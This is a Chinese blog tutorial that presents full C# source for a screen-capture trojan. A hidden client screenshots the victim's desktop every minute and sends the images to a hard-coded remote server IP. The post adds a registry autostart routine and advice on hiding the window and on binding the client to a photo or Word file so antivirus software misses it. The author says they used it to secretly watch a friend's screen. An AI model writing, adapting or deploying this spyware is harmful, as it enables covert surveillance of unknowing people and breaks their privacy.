C#实现屏幕截图木马

时间:2022-06-27 15:24:01

先说点没用的:1.这学期学习C#这门语言,但说实话上课并没有听过,可能心底还是看不起这门语言吧。但其实这门语言在微软换了CEO后,有了很大的改变,即可以跨平台开发了。支持ios、andorid、wp。 C#实现屏幕截图木马 这样其实挺好的,只要学习一门语言就可以做WEB开发,做桌面客户端,做移动端开发。

2.为什么使用C#来开发本程序:目前win7,win8,win10,windows服务器系列系统,vista什么的淘汰的系统等等,都是自带.net framework,也就是说:我们的木马扔过去就可以直接运行了,不需要再搭运行环境,JAVA就不行啊,还得JVM。所以我才不用自己熟悉的JAVA,PHP等来写啊

正文: 本程序主要功能:

1、截屏

2、socket网络通讯

3、计时器

内容很简单,很适合新手动手实践学习,个人觉得最快的提升方式就是写点自己感兴趣的东西!

这里必须得讲一下一些相关逻辑和知识,否则无法后续,新手也会不解。

我写这个程序的时候参考了网上另外一篇类似博客,但是他的逻辑完全错掉了,他的程序是服务端截屏发送给客户端,而我们应该是客户端截屏给服务端。看起来好像区别不大?事实上实际运用除非客户端和服务端都在自己电脑,否则完全不一样。
在那篇博客中,服务端程序(受害者)顺序是:1.服务端进入监听->2.服务端接收到客户端连接->3.服务端截屏发送给客户端。
客户端程序(我方)顺序 1.客户端向服务端发起连接-> 2.客户端保存图片
问题来了,不知道你注意到没有,2个非常致命的问题
一、实际运用上,受害者的电脑IP我们肯定是不知道的,而且对方的IP会经常变动(动态IP),我们怎么可能主动去连接得了?这个问题不解决本程序无实际用途除非在本机上运行客户端和服务端自己娱乐。
二、实际运用上,受害者电脑绝大多数情况下是出于内网中的,我们并无法主动去连接内网!在这篇文章中,是(我方)去连接(受害者),而事实上受害者并不暴露于公网环境,将导致无法连接!这个问题不解决,本程序无实际用途除非在本机上运行客户端和服务端自己娱乐。

为了解决以上2个问题,只要做出顺序上的修改就可以了:
服务端:1.进入监听(死循环) 2.接受连接,接受图片,保存图片
客户端:1.请求连接 2.发送图片 3.关闭连接 (循环1.2.3步骤)
为什么这么改动顺序后2大问题就解决了呢?

1、我们不知道受害者的IP,但是我们的服务器IP是固定的,只要让受害者主动连接我们客户端就行哒!
2、虽然公网无法主动连接内网,但是我们可以让内网主动连接公网进行通信,即让受害者连接我们的公网服务器,我用阿里云测试一切好使!

首先是服务端代码:
1、服务端监听8099端口

 TcpListener server = new TcpListener(new System.Net.IPEndPoint(0, 8099));//服务端进入监听
server.Start();

2、服务端接受客户端连接,并接收图片

   while (true)
{
//接受连接
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("有新的连接....");

//获取客户端IP和时间
String remoteIp = client.Client.RemoteEndPoint.ToString();
String localTime = DateTime.Now.ToString(); ;
Console.WriteLine("客户端IP:"+remoteIp+"时间是:"+localTime);


//接收屏幕截图
Sconnect s = new Sconnect(client);
s.recv(remoteIp);
}

这里一定要写在死循环中,才能持续接收连接!
服务端主类完整代码:

 class s2
{

static void Main(string[] args)
{

TcpListener server = new TcpListener(new System.Net.IPEndPoint(0, 8099));//服务端进入监听
server.Start();



while (true)
{
//接受连接
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("有新的连接....");

//获取客户端IP和时间
String remoteIp = client.Client.RemoteEndPoint.ToString();
String localTime = DateTime.Now.ToString(); ;
Console.WriteLine("客户端IP:"+remoteIp+"时间是:"+localTime);


//接收屏幕截图
Sconnect s = new Sconnect(client);
s.recv(remoteIp);
}



server.Stop();
Console.ReadKey();//读取用户输入
}
}

服务端引用类:封装了接收图片的方法

 class Sconnect
{
BinaryReader reader;
NetworkStream ntwStream;
public Sconnect(TcpClient client) {
NetworkStream stream = client.GetStream();//网络流
reader = new BinaryReader(stream);
ntwStream = stream;

}
public void recv(String ip)
{
ip=ip.Replace(":","端口");
String time = DateTime.Now.ToLongDateString().ToString();

try
{

Image bmp = Image.FromStream(reader.BaseStream);
bmp.Save(ip.Replace(".", ",") + "时间"+ time + ".gif");
Console.WriteLine("文件接收完成...");
}
catch (Exception ex)
{
Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
}
reader.Close();

}
}

接下来是客户端:
第一步:要实现客户端截图自己电脑屏幕

  //截屏四句,网上找的,代码太过于简单不多解释
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);

这里记得添加-引用 System.Drawing,本文还用到了 System.Windows.Forms 一并添加进去

接下来是第2步,就是把截屏的图片写入网络流。
在构造函数中先生存网络流,send方法中把图片按ASCII编码写入。

 public  CC(TcpClient client)
{
clientSocket = client;
NetworkStream stream = clientSocket.GetStream();//网络流
writer = new BinaryWriter(stream, Encoding.ASCII);//new 写
}
public void send()
{
//截屏
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);

//写入网络流
writer.BaseStream.Flush();
writer.Close();
}

第三步就是设置一个计时器,每隔多少时间就截图屏幕发送到我们的服务端,我用的方法太简单了,计时器都说不上,就是用线程的join()方法阻塞。学过多线程的都懂。
先新建一个时间线程


Thread timeThread = new Thread(new ThreadStart(NewThread.timer));
timeThread.Start();

时间线程类里面执行具体我们要让他干的内容:

 class NewThread {
public static void timer() {
while (true) {

Console.WriteLine(DateTime.Now.ToString() + "_" + Thread.CurrentThread.ManagedThreadId.ToString());
CMain cmain = new CMain();
cmain.main();
Thread.CurrentThread.Join(1000);//阻止设定时间

}
}
}

cmain 是我们具体要让它干的活,都封装在里面,这里1000等于1S,我觉得设置60X1000,一分钟差不多。
以下是客户端完整代码:

using System;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;
//客户端
namespace ConsoleApplication2
{
class c2
{
static void Main(string[] args)
{

Thread timeThread = new Thread(new ThreadStart(NewThread.timer));
timeThread.Start();



}
}

class NewThread {
public static void timer() {
while (true) {

Console.WriteLine(DateTime.Now.ToString() + "_" + Thread.CurrentThread.ManagedThreadId.ToString());
CMain cmain = new CMain();
cmain.main();
Thread.CurrentThread.Join(1000);//阻止设定时间

}
}
}

class CMain
{
public void main() {

TcpClient client;
int port = 8099;

try
{
//客户端打开就去连接
client = new TcpClient();
client.Connect(IPAddress.Parse("127.0.0.1"), port);//121.41.72.161我的阿里服务器IP,127.0.0.1自己本机测试用
Console.WriteLine("远程服务器连成功");


//连接完就发送截图
CC c = new CC(client);
c.send();
Console.WriteLine("截屏发送完成");
c.close();

}
catch (Exception ex)
{
Console.WriteLine("服务端已离线:" + ex.Message);
}
// Console.ReadKey();
}



}


class CC
{
TcpClient clientSocket;
BinaryWriter writer;

public CC(TcpClient client)
{
clientSocket = client;
NetworkStream stream = clientSocket.GetStream();//网络流
writer = new BinaryWriter(stream, Encoding.ASCII);//new 写

}
public void send()
{
//截屏
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);

//写入网络流
writer.BaseStream.Flush();
writer.Close();
}

public void close()
{
writer.Close();
clientSocket.Close();
}
}

}

把服务端扔到服务器,客户端随便发给任何人,服务器运行截图:
C#实现屏幕截图木马
这里我是把客户端发给朋友了,然后偷偷看她的屏幕截图。

废话不多说,任务还没完成,继续写:
接下来我们应该吧客户端进行完善,让它在运行的时候在任务栏没有窗口,在桌面也没有窗口,隐藏它的存在。
很简单,我们只要新建 windows桌面应用程序,把窗体的showInTaskbar设置为false,不在任务栏显示,windowsState设置为Minimized,让窗体启动时就是最小化状态。
再新建一个类winC2
把客户端的代码都烤进去,做略微调整,然后点击“设计”进入到改窗体代码中,在Form1_Load中调用就行了哒!

  private void Form1_Load(object sender, EventArgs e)
{
winC2 win = new winC2();

}

这里附上完整代码:
窗体:Form1.cs

using System;
using System.Windows.Forms;

namespace clientWin
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_Load(object sender, EventArgs e)
{
winC2 win = new winC2();

}
}
}

我们自己添加的类的代码:

using System;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace clientWin
{
class winC2
{

public winC2()
{
Thread timeThread = new Thread(new ThreadStart(NewThread.timer));
timeThread.Start();
}

}


class NewThread
{
public static void timer()
{
while (true)
{

Console.WriteLine(DateTime.Now.ToString() + "_" + Thread.CurrentThread.ManagedThreadId.ToString());
CMain cmain = new CMain();
cmain.main();
Thread.CurrentThread.Join(60000);//阻止设定时间 1000为1S

}
}
}

class CMain
{
public void main()
{

TcpClient client;
int port = 8099;

try
{
//客户端打开就去连接
client = new TcpClient();
client.Connect(IPAddress.Parse("121.41.72.161"), port);//121.41.72.161 服务器地址
Console.WriteLine("远程服务器连成功");


//连接完就发送截图
CC c = new CC(client);
c.send();
Console.WriteLine("截屏发送完成");
c.close();

}
catch (Exception ex)
{
Console.WriteLine("服务端已离线:" + ex.Message);
}
// Console.ReadKey();
}



}


class CC
{
TcpClient clientSocket;
BinaryWriter writer;
StreamReader strmReader;
public CC(TcpClient client)
{
clientSocket = client;
NetworkStream stream = clientSocket.GetStream();//网络流
writer = new BinaryWriter(stream, Encoding.ASCII);//new 写
strmReader = new StreamReader(stream);//读取网络流
}
public void send()
{
//截屏
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);

//写入网络流
writer.BaseStream.Flush();
writer.Close();
}




public void close()
{
writer.Close();
clientSocket.Close();
}
}
}

再接下来就是对客户端写开机自启动:
自启动普遍使用的5、6种方法几乎没有不被360拦截的。
注册表你想写就被拦截,要么插入explorer,拦截。放在自启动目录,太低级了吧,msconfig一下就看到就关掉了,还会被电脑优化速度优化掉。。。。
但这里还是要提供一下代码:
写注册表的方法:

public void SetAutoRun(string fileName, bool isAutoRun)  
{
RegistryKey reg = null;
try
{
if (!System.IO.File.Exists(fileName))
throw new Exception("该文件不存在!");
String name = fileName.Substring(fileName.LastIndexOf(@"\") + 1);
reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (reg == null)
reg = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
if (isAutoRun)
reg.SetValue(name, fileName);
else
reg.SetValue(name, false);
lbl_autorunerr.Visible = false;
}
catch
{
lbl_autorunerr.Visible = true;
//throw new Exception(ex.ToString());
}
finally
{
if (reg != null)
reg.Close();
}
}

使用的时候,直接调用SetAutoRun函数即可,这里解释一下两个参数的含义:
fileName:需要设置自动启动程序的路径,若为当前程序可直接传递Application.ExecutablePath。
isAutoRun:是否自动运行,为false时,取消自动运行。
例: SetAutoRun(Application.ExecutablePath, true); //设置自动启动当前程序
SetAutoRun(Application.ExecutablePath, false); //取消自动启动
自启动方法还有很多,大家可以查询,但是普遍不实用啊!比如插explorer,这种桌面进程太敏感,被病毒用得不爱用的,早就被各种防御软件盯得紧紧的!

为了让程序更顽强,我们可以给客户端加上双进程保护,加上U盘自启动,并让程序自动复制到所有的盘符目录下等等。

这里要提一下,我个人觉得最好用的方法吧,就是把该客户端捆绑到某个文件或者程序上,而不要设置自启动了,因为过不去360。比如用捆绑机把客户端捆绑到一张照片上或者word上发给你的好友,然后就在服务器打开服务端静静滴等待!所有杀毒软件都没用!亲测!